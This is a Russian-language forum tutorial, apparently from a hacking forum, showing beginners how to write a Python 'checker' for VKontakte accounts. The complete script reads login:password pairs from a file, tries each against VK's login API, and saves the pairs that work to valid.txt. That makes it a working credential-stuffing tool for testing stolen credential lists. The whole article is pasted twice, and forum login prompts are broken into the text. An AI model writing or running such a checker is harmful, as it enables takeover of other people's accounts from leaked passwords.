Здравствуйте, дорогие пользователи данного форума. Сегодня я бы хотел описать реализацию простого Чекера аккаунтов для социальной сети, как Вконтакте на таком скриптовом языке, как Python 3.x. Для кого будет полезна данная статья? Ну, на этот вопрос нет точного ответа, но я думаю, что она будет наиболее полезна новичкам в данном деле, чем "старичкам" / "старожилам", ибо они и без меня в этом прекрасно разбираются. Ну, что же... Давайте начнём с самого важного и простого, а именно подготовки необходимых инструментов, модулей, а также значений, что потребуются нам в будущем скрипте.
Во-первых, если в вашей системе отсутствует Python 3.x, то вам необходимо установить его c официального сайта разработчиков языка (
Во-вторых, вам необходимо установить одноимённый модуль для работы с open vk API - vk. Как же это сделать? Здесь всё максимально просто и элементарно. Введите данные команды в терминал :
Для систем на базе Unix - sudo pip install vk
Для систем на базе Windows - pip install vk
В-третьих, вам необходимо получить вашего зарегистрированного приложения. Как это сделать? Перейдите по
Уже всё сделали? Отлично, теперь мы можем открыть свою любимую IDE или текстовый редактор,которые довольно часто выступают в роли девушек у разработчиков, создать произвольный файл с раширением .py и импортировать необходимый модуль vk и функцию sleep из модуля time. Зачем нам нужна данная функция? Здесь всё просто. Социальная сеть Вконтакте накладывает ряд ограничений на использование своего API и одно из них звучит, примерно, так :
- Только 3 запроса в секунду.
Код :
import vk
from time import sleep
Импортировали? Теперь давайте создадим функцию VkChecker и наполним её такими методами, как __init__ , vk__init и наконец file__reader. ( Точки выступают в роли отступов )
Код :
class VkChecker ( ) :
....def __init__ ( self ) :
........#some code
....def vk__init ( self ) :
........#some code
....def file__reader ( self , dirname_to_file ) :
........#some code
Теперь заполним методы необходимым кодом, но перед этим, пожалуйста, почитайте объяснения алгоритма действия данных методов по отдельности. С чего начнём? Объяснять по порядку? Хорошо. Метод __init__ является обязательным для классов в языке Python, они вызываются при инициализации класса. Так что же мы видим здесь? Она попросту вызывает метод vk__init. Так в чём собственно состоит алгоритм метода vk__init? Весь алгоритм основан на постоянной попытке авторизации каждые 0.5 секунды. В случае, если аккаунт является валидным, скрипт сообщает нам об этом, а также записывает логин и пароль от него в файл под названием valid.txt. Ну, а в случае, когда аккаунт невалиден нам попросту сообщают об этом и более ничего. ( Оценка валидности основывается на перехвате ошибки авторизации / VkAuthError ). Ну, а по поводу метода file__reader могу сказать, что он получает полный путь до файла, считывает его содержимое, разбивает каждую строку по такому символу, как двоеточие, добавляет результат в список и наконец возвращает результат для последующего использования в методе vk__init.
Код :
import vk
from time import sleep
class VkChecker ( ) :
....def __init__ ( self ) :
........self.vk__init ( )
....def vk__init ( self ) :
........for x in self.file__reader ( r"Здесь должно быть имя с расширением или полный путь до файла" ) :
........try :
............sleep( 0.5 )
............session = vk.AuthSession ( app_id = "Здесь должен быть id вашего созданного приложения ВК (Значение имеет тип числа / int, а не строки / string )" , user_login = x [ 0 ] , user_password = x [ 1 ] )
............vk__api = vk.API ( session )
............print ("Валиден")
............with open ( "valid.txt" , "a" ) as valid :
................valid.write("{0} - {1}\n".format ( x [ 0 ] , x [ 1 ] ) )
........except vk.exceptions.VkAuthError :
............print ("Невалиден")
....def file__reader ( self , dirname_to_file ) :
........result = [ ]
........with open ( dirname_to_file , "r" ) as file_with_log_pass :
............for line in file_with_log_pass :
................line = [ x.strip ( ) for x in line.split ( ":" ) ]
................log__pass = ( line[ 0 ] , line[ 1 ] )
................result.append( log__pass )
........return result
VkChecker( )
Вот и подошла под конец моя небольшая статья по реализации Чекера аккаунтов Вконтакте. Спасибо за предоставленное внимание и удачи в совершенствовании своих навыков.
Во-первых, если в вашей системе отсутствует Python 3.x, то вам необходимо установить его c официального сайта разработчиков языка (
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
).Во-вторых, вам необходимо установить одноимённый модуль для работы с open vk API - vk. Как же это сделать? Здесь всё максимально просто и элементарно. Введите данные команды в терминал :
Для систем на базе Unix - sudo pip install vk
Для систем на базе Windows - pip install vk
В-третьих, вам необходимо получить вашего зарегистрированного приложения. Как это сделать? Перейдите по
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и зарегистрируйте standalone-приложение. Получилось? Хорошо, теперь перейдите в каталог с названием настройки, найдите строку id приложения и скопируйте его значение.Уже всё сделали? Отлично, теперь мы можем открыть свою любимую IDE или текстовый редактор,
- Только 3 запроса в секунду.
Код :
import vk
from time import sleep
Импортировали? Теперь давайте создадим функцию VkChecker и наполним её такими методами, как __init__ , vk__init и наконец file__reader. ( Точки выступают в роли отступов )
Код :
class VkChecker ( ) :
....def __init__ ( self ) :
........#some code
....def vk__init ( self ) :
........#some code
....def file__reader ( self , dirname_to_file ) :
........#some code
Теперь заполним методы необходимым кодом, но перед этим, пожалуйста, почитайте объяснения алгоритма действия данных методов по отдельности. С чего начнём? Объяснять по порядку? Хорошо. Метод __init__ является обязательным для классов в языке Python, они вызываются при инициализации класса. Так что же мы видим здесь? Она попросту вызывает метод vk__init. Так в чём собственно состоит алгоритм метода vk__init? Весь алгоритм основан на постоянной попытке авторизации каждые 0.5 секунды. В случае, если аккаунт является валидным, скрипт сообщает нам об этом, а также записывает логин и пароль от него в файл под названием valid.txt. Ну, а в случае, когда аккаунт невалиден нам попросту сообщают об этом и более ничего. ( Оценка валидности основывается на перехвате ошибки авторизации / VkAuthError ). Ну, а по поводу метода file__reader могу сказать, что он получает полный путь до файла, считывает его содержимое, разбивает каждую строку по такому символу, как двоеточие, добавляет результат в список и наконец возвращает результат для последующего использования в методе vk__init.
Код :
import vk
from time import sleep
class VkChecker ( ) :
....def __init__ ( self ) :
........self.vk__init ( )
....def vk__init ( self ) :
........for x in self.file__reader ( r"Здесь должно быть имя с расширением или полный путь до файла" ) :
........try :
............sleep( 0.5 )
............session = vk.AuthSession ( app_id = "Здесь должен быть id вашего созданного приложения ВК (Значение имеет тип числа / int, а не строки / string )" , user_login = x [ 0 ] , user_password = x [ 1 ] )
............vk__api = vk.API ( session )
............print ("Валиден")
............with open ( "valid.txt" , "a" ) as valid :
................valid.write("{0} - {1}\n".format ( x [ 0 ] , x [ 1 ] ) )
........except vk.exceptions.VkAuthError :
............print ("Невалиден")
....def file__reader ( self , dirname_to_file ) :
........result = [ ]
........with open ( dirname_to_file , "r" ) as file_with_log_pass :
............for line in file_with_log_pass :
................line = [ x.strip ( ) for x in line.split ( ":" ) ]
................log__pass = ( line[ 0 ] , line[ 1 ] )
................result.append( log__pass )
........return result
VkChecker( )
Вот и подошла под конец моя небольшая статья по реализации Чекера аккаунтов Вконтакте. Спасибо за предоставленное внимание и удачи в совершенствовании своих навыков.